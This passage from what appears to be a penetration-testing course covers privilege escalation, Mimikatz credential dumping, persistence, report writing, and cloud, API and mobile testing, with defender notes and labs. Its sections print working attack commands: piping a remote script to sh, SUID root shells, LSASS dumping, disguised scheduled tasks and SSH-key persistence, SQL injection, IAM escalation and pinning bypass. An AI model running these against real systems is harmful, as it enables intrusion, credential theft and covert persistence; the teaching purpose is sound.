━━━ Linux ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ hostname && cat /etc/passwd | grep -v nologin | grep -v false webserver01.acme.local root:x:0:0:root:/root:/bin/bash svc-deploy:x:1001:1001::/home/svc-deploy:/bin/bash $ ip a && route -n eth0: 10.10.10.5/24 eth1: 172.16.0.5/24 ← dual-homed — access to internal segment! $ sudo -l User www-data may run the following commands: (ALL) NOPASSWD: /usr/bin/vim ← vim as root with no password! ━━━ Windows ━━━━━━━━━━━━━━━━━━━━━━━━━━━━ C:\> whoami /all User: ACME\john.smith Group: Everyone, Users, ACME\Domain Users, ACME\Helpdesk C:\> net localgroup administrators Alias name administrators Members: Administrator, ACME\it-admin, ACME\Domain Admins C:\> ipconfig /all IPv4 Address: 10.10.10.50 Default Gateway: 10.10.10.1 DNS Servers: 10.10.10.1 (DC01.acme.local)

Linux Privilege Escalation — SUID and Sudo

LinPEAS + Manual EnumerationFinding privilege escalation vectors on Linux
# Run LinPEAS for automated privilege escalation enumeration $ curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh ╔══════════╣ Sudo version Sudo version 1.8.21p2 ← CVE-2021-3156 (Baron Samedit) if unpatched ╔══════════╣ SUID binaries -rwsr-xr-x 1 root root /usr/bin/find -rwsr-xr-x 1 root root /usr/bin/passwd ╔══════════╣ Interesting writable files -rw-rw-rw- 1 root root /etc/cron.d/backup ← World-writable cron file! # Exploit SUID find to get root shell $ find . -exec /bin/bash -p \; -quit bash-4.4# id uid=33(www-data) gid=33(www-data) euid=0(root) Root obtained via SUID find binary

Windows Privilege Escalation — Token Impersonation

WinPEAS + Meterpreter getsystemToken impersonation and service exploitation on Windows
# Check available tokens for impersonation (Meterpreter) meterpreter > load incognito meterpreter > list_tokens -u Delegation Tokens Available ======================================== ACME\it-admin NT AUTHORITY\SYSTEM meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM" [+] Delegation token available [+] Successfully impersonated user NT AUTHORITY\SYSTEM meterpreter > getuid Server username: NT AUTHORITY\SYSTEM # Alternative: WinPEAS finds unquoted service path C:\> winpeas.exe servicesinfo Unquoted Service Path: C:\Program Files\Acme\Backup Tool\service.exe → Place malicious binary at C:\Program Files\Acme\Backup.exe → Service restart executes it as SYSTEM

Mimikatz — Credential Harvesting

MimikatzDumping plaintext credentials and NTLM hashes from LSASS memory
mimikatz # privilege::debug Privilege '20' OK mimikatz # sekurlsa::logonpasswords Authentication Id : 0 ; 123456 (00000000:0001e240) Session : Interactive from 1 User Name : sarah.jones Domain : ACME Logon Server : DC01 Logon Time : 3/15/2024 9:15:33 AM SID : S-1-5-21-... msv: [00000003] Primary * Username : sarah.jones * Domain : ACME * NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0 wdigest: * Username : sarah.jones * Domain : ACME * Password : (null) ← wdigest disabled (good — patched system) kerberos: * Username : sarah.jones * Domain : ACME.LOCAL * Password : Summer2024!

Persistence Mechanisms

Persistence — Windows Registry + Scheduled TaskMaintaining access across reboots without a C2 agent
# Registry Run key persistence (runs on every user login) C:\> reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /t REG_SZ /d "C:\Users\Public\update.exe" /f The operation completed successfully. # Scheduled task persistence (runs every 30 minutes as SYSTEM) C:\> schtasks /create /tn "WindowsTelemetry" /tr "C:\Windows\Temp\svchost.exe" /sc minute /mo 30 /ru SYSTEM /f SUCCESS: The scheduled task "WindowsTelemetry" has successfully been created. # Linux — cron persistence $ echo "*/30 * * * * www-data /tmp/.svc/beacon.sh" >> /etc/cron.d/backup # Linux — SSH authorized_keys (persistent even through password changes) $ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA..." >> /root/.ssh/authorized_keys Attacker can now SSH as root regardless of password resets
🔴 Attacker Perspective
  • Mimikatz requires SYSTEM or debug privilege — gaining these is the first privilege escalation goal
  • Scheduled tasks with system-like names ("WindowsTelemetry") blend into the noise on unmonitored systems
  • SSH authorized_keys persistence survives password resets — a critical finding to demonstrate in reports
🔵 Defender Perspective
  • Credential Guard (Windows 10+) prevents Mimikatz from reading credentials from LSASS memory
  • EDR detects Mimikatz via process injection patterns, LSASS access, and known signatures
  • Scheduled task creation logged in Event ID 4698 — SIEM alert on new tasks created outside change windows
  • Audit authorized_keys files on all Linux systems as part of incident response
Key Takeaways — Chapter 12
  • Situational awareness immediately after shell access — user context, network interfaces, sudo rights, local admins — drives all subsequent decisions
  • LinPEAS and WinPEAS automate privilege escalation enumeration; SUID binaries, sudo misconfigurations, and weak service permissions are the most common findings
  • Mimikatz requires SeDebugPrivilege — gaining SYSTEM first is the prerequisite for credential dumping
  • SSH authorized_keys persistence survives password resets — always include it as a critical demonstration of post-compromise persistence
  • Scheduled tasks blending into legitimate system tasks are a primary EDR evasion technique — creativity in naming matters in mature environments
🧪 Practice Lab

TryHackMe: Linux PrivEsc and Windows PrivEsc are comprehensive. HackTheBox: Beep and Bounty both require privilege escalation chains. GTFOBins (gtfobins.github.io) is the reference for SUID binary exploitation.

Chapter 13 · ~15 min · Reporting

Reporting and Communication

Report structure, finding anatomy, CVSS scoring, severity calibration, evidence quality, writing for multiple audiences, debrief meetings, and remediation verification

The penetration test report is the deliverable that clients actually pay for. Every finding you discovered, every shell you caught, every hash you cracked — none of it has value to the client unless it is communicated in a way that drives remediation. A technically brilliant engagement with a poorly written report is a waste. A thorough, clearly written report that accurately conveys risk and provides actionable remediation guidance has lasting value. Reporting is a craft, not an afterthought.

Report Structure

A professional penetration test report has four major sections, each serving a different audience:

  1. Executive Summary — written for non-technical decision-makers (CISO, CEO, board). No jargon. Business impact language. Three to five paragraphs covering: overall security posture, most critical findings in plain English, risk to the business, and the three to five remediation priorities that matter most. A CFO should be able to read this and understand whether the business has a serious problem.
  2. Scope and Methodology — what was tested, when, from what perspective (black/grey/white box), using what frameworks. Establishes the context for interpreting the findings.
  3. Findings — the technical core. Each finding documented with consistent structure. Ordered by severity (critical first).
  4. Appendices — tool output, full nmap scans, raw evidence that supports findings but is too detailed for the main body.

The Anatomy of a Good Finding

Finding TemplateWell-structured pentest finding — SQL Injection example
Finding: SQL Injection in Product Search Endpoint Severity: Critical CVSS Score: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) Affected: https://acme-corp.com/search?q=[INPUT] ━━━ Description ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ The product search endpoint is vulnerable to SQL injection via the 'q' parameter. An unauthenticated attacker can extract the entire database contents, including user credentials, and may achieve remote code execution via database write operations. ━━━ Evidence ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ Request demonstrating authentication bypass: GET /search?q=test' UNION SELECT username,password,3 FROM users-- Response: admin | $2y$10$hashedpassword | ..., john.smith | ... (247 rows) ━━━ Impact ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ An unauthenticated attacker can: • Extract all 247 user accounts including admin credentials • Modify or delete database records (financial transactions, orders) • Achieve remote code execution via MySQL INTO OUTFILE (confirmed) ━━━ Remediation ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1. Replace string concatenation in SQL queries with parameterised queries (prepared statements) — PRIMARY FIX, eliminates injection. Example (PHP PDO): $stmt = $pdo->prepare('SELECT * FROM products WHERE name = ?'); $stmt->execute([$_GET['q']]); 2. Apply principle of least privilege to the database user (SELECT only where writes are not required; no FILE privilege). 3. Deploy a WAF as defence-in-depth — not a substitute for fixing the underlying vulnerability. ━━━ References ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ CWE-89: SQL Injection OWASP Top 10 2021 — A03: Injection OWASP SQL Injection Prevention Cheat Sheet

CVSS Scoring — How to Use It Correctly

CVSS (Common Vulnerability Scoring System) provides a standardised numerical score for vulnerability severity. The v3.1 base score considers: Attack Vector (network/adjacent/local/physical), Attack Complexity (low/high), Privileges Required (none/low/high), User Interaction (none/required), Scope (unchanged/changed), Confidentiality/Integrity/Availability Impact (none/low/high).

CVSS v3.1 Scoring ExamplesHow context changes severity — same technical issue, different business impact
Finding: Default credentials on web admin panel Technical CVSS: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 (Critical) Scenario A: Panel exposes internet-facing production server Report Severity: Critical (matches CVSS) Unauthenticated remote attacker can gain admin access immediately Scenario B: Panel only accessible from internal management VLAN, requiring VPN + separate auth first Report Severity: High (downgraded from CVSS with justification) Attack requires prior network access; still serious but mitigating controls exist. Note in report: "CVSS 9.8 adjusted to High given network access controls limiting reachability." ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ Finding: Reflected XSS (no CSP header) Technical CVSS: AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1 (Medium) Scenario A: Marketing website, no user accounts Report Severity: Low (downgraded — no meaningful impact possible) Scenario B: Banking application, authenticated users, session cookies Report Severity: High (upgraded — cookie theft = account takeover) Business context elevates impact beyond what CVSS base score captures

Writing the Executive Summary

Executive Summary — ExampleNon-technical business-language summary for CISO / board
EXECUTIVE SUMMARY ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ Lucent Grid Security conducted a penetration test of Acme Corporation's customer portal and internal network from March 11–15, 2024. The assessment identified significant security weaknesses that would allow an external attacker to access customer data and financial records without valid credentials. OVERALL RISK RATING: CRITICAL The most significant finding was a vulnerability in the customer portal's search feature that allowed access to all 247 user accounts and financial transaction records. This vulnerability required no technical skill to exploit and would be discovered by automated attack tools within hours of a targeted attack. During the internal network assessment, assessors obtained administrative control over the Active Directory environment — the identity system that controls access to all internal systems — within 4 hours of gaining a foothold. This level of access would allow a real attacker to deploy ransomware across all domain-joined systems simultaneously. Immediate priorities (address within 14 days): 1. Fix the SQL injection vulnerability in the product search endpoint 2. Enable account lockout policy on Active Directory 3. Disable LLMNR and NBT-NS network protocols 4. Deploy Local Administrator Password Solution (LAPS) 5. Remediate Tomcat 8.5.23 on mail server (upgrade to current version)
Key Takeaways — Chapter 13
  • The executive summary is the most important section — non-technical decision-makers read it; use business impact language, no jargon, three to five remediation priorities
  • Every finding needs: title, severity, CVSS, description, evidence, business impact, specific remediation steps, and references — vague findings don't get fixed
  • CVSS scores are a starting point, not the final word — adjust severity up or down based on business context with explicit justification in the report
  • Remediation guidance must be specific and actionable — "fix the SQL injection" is not guidance; "replace string concatenation with parameterised queries using PDO prepared statements" is
  • Debrief meetings require translating technical findings into business consequences — practice explaining each finding in one sentence to a non-technical executive
Chapter 14 · ~15 min · Specialisations

Specialised Testing Areas

Cloud penetration testing, API security testing, mobile application testing, and IoT penetration testing — tools, methodology, and unique considerations

The core penetration testing methodology applies across all domains, but certain environments require specialised tools, techniques, and knowledge. Cloud infrastructure has a fundamentally different attack surface from on-premises. APIs have vulnerabilities unique to their architecture. Mobile applications require different tooling than desktop software. This chapter provides substantive coverage of each specialisation — enough to begin work in each area and to understand where specialised training is needed.

Cloud Penetration Testing

Cloud pentesting targets the customer's security configuration — not the cloud provider's infrastructure. The cloud provider's infrastructure is out of scope by definition (and by provider policy). What is in scope: IAM configurations, storage bucket permissions, network security groups, Lambda functions, Kubernetes cluster security, and the inter-service trust relationships that create privilege escalation paths.

Pacu — AWS Exploitation FrameworkIAM privilege escalation and environment enumeration in AWS
Pacu (acme:No Keys Set) > import_keys acme-profile Imported keys from profile: acme-profile Key ID: AKIAIOSFODNN7EXAMPLE Region: eu-west-2 Pacu (acme:AKIAIOSFODNN) > run iam__enum_permissions [*] Enumerating permissions for AKIAIOSFODNN7EXAMPLE... Confirmed permissions: iam:GetPolicy, iam:ListPolicies, iam:ListRoles iam:CreatePolicyVersion ← privilege escalation possible! s3:GetObject, s3:ListBucket ec2:DescribeInstances Pacu (acme:AKIAIOSFODNN) > run iam__privesc_scan [!] Privilege escalation method found: CreateNewPolicyVersion Current user has iam:CreatePolicyVersion Can create new version of any policy with AdminstratorAccess Pacu (acme:AKIAIOSFODNN) > run iam__privesc_scan --method CreateNewPolicyVersion --auto [+] Created new policy version with AdministratorAccess [+] Attached to current user [+] Current user now has AdministratorAccess — full account compromise
ScoutSuiteMulti-cloud security posture audit — finding misconfigurations
$ scout aws --profile acme-profile --report-dir ./scout-report 2024-03-15 14:30:11 scoutsuite - INFO - Gathering data from APIs... 2024-03-15 14:31:45 scoutsuite - INFO - Processing findings... FINDINGS SUMMARY ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ danger (18): Critical misconfigurations warning (34): Notable security gaps good (67): Controls in place Top danger findings: [S3] 3 buckets publicly accessible with sensitive data [IAM] Root account has active access keys [EC2] Security group allows 0.0.0.0/0 on port 22 (12 instances) [IAM] 27 IAM users have no MFA enabled [CloudTrail] Not enabled in 3 regions [RDS] 2 databases publicly accessible (no VPC)

API Penetration Testing

Modern applications expose functionality through APIs — REST, GraphQL, gRPC. API vulnerabilities follow the same classes as web vulnerabilities but have distinct manifestations. The OWASP API Security Top 10 provides the framework: BOLA (Broken Object Level Authorisation — the API equivalent of IDOR), Broken Authentication, Broken Object Property Level Authorisation, Unrestricted Resource Consumption, Broken Function Level Authorisation, Unrestricted Access to Sensitive Business Flows, SSRF, Security Misconfiguration, Improper Inventory Management, and Unsafe Consumption of APIs.

Burp Suite + GraphQL IntrospectionDiscovering hidden API functionality via GraphQL introspection query
POST /graphql HTTP/1.1 Host: acme-corp.com Content-Type: application/json # Introspection query — dumps entire API schema {"query": "{ __schema { types { name fields { name } } } }"} Response (truncated): { "types": [ { "name": "Query", "fields": ["getUser","listProducts","getOrder"] }, { "name": "Mutation", "fields": ["createUser","updateUser","deleteUser", "adminResetAllPasswords", "exportAllUserData", "grantAdminRole"] }, { "name": "User", "fields": ["id","email","name","role","ssn","dob"] } ] } Discovered: adminResetAllPasswords, exportAllUserData, grantAdminRole These mutations are not exposed in the application UI Testing: mutation { grantAdminRole(userId: "1042") } Response: { "success": true, "role": "admin" } ← Broken Function Level Auth

Mobile Application Testing

Mobile application testing combines static analysis (examining the application package without running it), dynamic analysis (testing the running application), and network traffic analysis (intercepting API calls between the app and its backend).

apktool + MobSF + ObjectionAndroid APK analysis workflow — static to dynamic
# Static analysis — decompile the APK $ apktool d acme-banking.apk -o acme-decompiled/ I: Using Apktool 2.9.0 I: Decoding resource table... I: Baksmaling classes.dex... # Search for hardcoded secrets in decompiled code $ grep -r "api_key\|secret\|password\|AWS" acme-decompiled/ --include="*.smali" acme-decompiled/smali/com/acme/banking/BuildConfig.smali: const-string v0, "sk_live_acmebankingprodstripekey12345" const-string v1, "https://internal-api.acme-corp.com" # Dynamic analysis — bypass certificate pinning with Objection $ objection -g com.acme.banking explore com.acme.banking on (Android: 13) [usb] # android sslpinning disable (agent) Registering job 92f9d2c3. Class: SSLCertificateChecker (agent) Bypassed SSL pinning for: okhttp3.CertificatePinner Certificate pinning disabled — Burp Suite can now intercept app traffic # Now proxy app traffic through Burp Suite Intercepted: GET /api/v2/accounts/1001/transactions Authorization: Bearer eyJhbGciOiJIUzI1NiJ9... # Test BOLA — change account ID to another user's GET /api/v2/accounts/1002/transactions Response: 200 OK — 847 transactions belonging to another customer
Key Takeaways — Chapter 14
  • Cloud pentesting targets the customer's IAM configuration and resource settings — never the cloud provider's infrastructure
  • IAM privilege escalation via iam:CreatePolicyVersion requires only a single misconfigured permission to achieve full account compromise
  • GraphQL introspection exposes the entire API schema including mutations not visible in the application UI — always test it first
  • Certificate pinning bypass with Objection is the prerequisite for intercepting mobile app API traffic — without it the app's network calls are invisible to Burp
  • Hardcoded API keys in mobile APKs are common — decompile with apktool and grep for common secret patterns before dynamic testing
🧪 Practice Lab

Cloud: CloudGoat (intentionally vulnerable AWS environment). API: crAPI (Completely Ridiculous API — OWASP vulnerable API). Mobile: InsecureBankv2 for Android testing practice with Objection.

Chapter 15 · ~13 min · Career

Career, Certifications, and Building the Skill

OSCP, PNPT, eJPT, OSEP and specialist certs, CTF platforms, bug bounty, home lab setup, the job market, and staying current

Reading about penetration testing builds vocabulary and mental models. Actual penetration testing skill comes from hours of practice — breaking intentionally vulnerable machines, building and breaking lab environments, working through real CVEs, and eventually taking on real engagements. This chapter maps the most efficient path from knowledge to employable skill, including the certifications that signal competence to employers and the resources that build it most efficiently.

Certifications — The Honest Assessment

CertBodyFormatValuePath Fit
eJPTeLearnSecurity (INE)Online lab exam, beginnerExcellent starting point; proves genuine hands-on basics; affordableFirst cert before OSCP
PNPTTCM Security5-day practical exam + reportPractical, respected, affordable ($400). Requires a real pentest report. Growing industry recognition.Good OSCP alternative; excellent for building report writing
CEHEC-CouncilMultiple choice examControversial — broad but no practical component. Required by some government contracts. Expensive.Only if a specific employer requires it
OSCPOffensive Security24-hour practical examThe industry standard for pentesting competence. Highly respected. Genuinely difficult. Proves you can root machines under time pressure.The primary goal for most aspiring pentesters
OSEPOffensive Security48-hour practical examAdvanced — antivirus evasion, custom C2, advanced AD. Post-OSCP specialist cert.After 1–2 years of pentesting experience
OSWEOffensive Security48-hour practical examWeb application specialist — source code review, chaining vulnerabilities. Highly respected.Web application specialist track
CRTPAltered Security24-hour practical examActive Directory specialist — Bootcamp + exam. Excellent value; complements OSCP well.AD specialist track; before or alongside OSCP

Preparing for OSCP — The Realistic Path

OSCP requires rooting a set of machines in 24 hours and writing a professional report within the following 24 hours. The exam is genuinely difficult and has a meaningful failure rate. The preparation path that produces the highest success rate:

  1. TryHackMe — "Jr Penetration Tester" path — 6–8 weeks. Builds foundational knowledge across every domain covered in this module.
  2. HackTheBox — complete 30+ machines including retired machines with official writeups. Focus on Linux and Windows privilege escalation, Active Directory, and web applications.
  3. OffSec PEN-200 course materials — the official OSCP preparation material. Read everything, complete all exercises.
  4. OffSec Proving Grounds — 70+ practice machines provided with OSCP enrollment. Do all of them.
  5. TJ_Null's OSCP-like machine list — a curated list of HackTheBox/VulnHub machines that closely resemble OSCP exam machines. Work through as many as possible.

CTF Platforms — Building Real Skill

PlatformStyleBest For
HackTheBoxRealistic machines, competitive rankingIntermediate–Advanced; OSCP preparation; career signalling
TryHackMeGuided rooms with explanationsBeginners through intermediate; structured learning paths
VulnHubDownloadable VMsOffline practice; older machines; good for lab building
PentesterLabWeb application focusWeb testing skill building; excellent structured progression
PortSwigger Web AcademyWeb application labsThe definitive free web testing resource; lab for every OWASP category
CyberDefendersDFIR + blue team with red team elementsUnderstanding the defender side of attacks you're learning

Bug Bounty — Real-World Experience and Income

Bug bounty programmes pay independent researchers for discovering and reporting vulnerabilities within defined scope. The major platforms are HackerOne, Bugcrowd, and Intigriti. The realistic picture:

  • Top researchers earn six figures annually from bug bounty — this is exceptional, not typical
  • Most researchers earn sporadically and unpredictably — it is not a reliable income replacement until you have a track record of significant findings
  • Bug bounty is excellent as a supplement to other income and as a mechanism for building skills on real systems with real scope
  • Start with large programmes with broad scope and a history of paying reasonable amounts (Google VRP, Apple Security Bounty, Microsoft MSRC) rather than small programmes that may dispute or not pay
  • IDOR and information disclosure bugs are the highest-probability findings for new researchers — practise web application testing before beginning bounty work

Staying Current

The penetration testing landscape changes continuously — new techniques, new tools, new CVEs, new defensive controls to bypass. The practitioners who stay sharp:

  • Blogs and write-ups — 0xdf.gitlab.io (HackTheBox write-ups), ired.team (red team notes), harmj0y.net (AD attacks), s3cur3th1s.github.io, posts on Medium's InfoSec community
  • Twitter/X security community — follow practitioners who share techniques: @harmj0y, @_dirkjan, @gentilkiwi (Mimikatz author), @orange_8361, @TomNomNom
  • Conferences — DEF CON (Las Vegas, August) and its CFP villages; Black Hat USA/Europe; BSides events (local, affordable, community-focused)
  • Podcasts — Darknet Diaries (attack stories); Smashing Security; Risky Business (security news)
  • Practice continually — the most important factor is simply spending time breaking things; reading about techniques without practising them produces knowledge, not skill
Key Takeaways — Chapter 15
  • OSCP is the industry-standard pentesting certification — prepare with 3–6 months of HackTheBox practice, TJ_Null's machine list, and the official course materials before attempting
  • PNPT is an excellent affordable alternative that requires a real report — it develops skills that OSCP alone doesn't emphasise
  • Bug bounty is real-world practice with real consequences — start with information disclosure and IDOR on large programmes; don't rely on it for income until you have consistent findings
  • HackTheBox rank and write-up quality are the most credible signals for early-career pentesting job applications — more credible than most certifications to experienced hiring managers
  • The skill is built through hours of practice, not hours of reading — use this module as the framework that makes your lab time more efficient, not as a substitute for it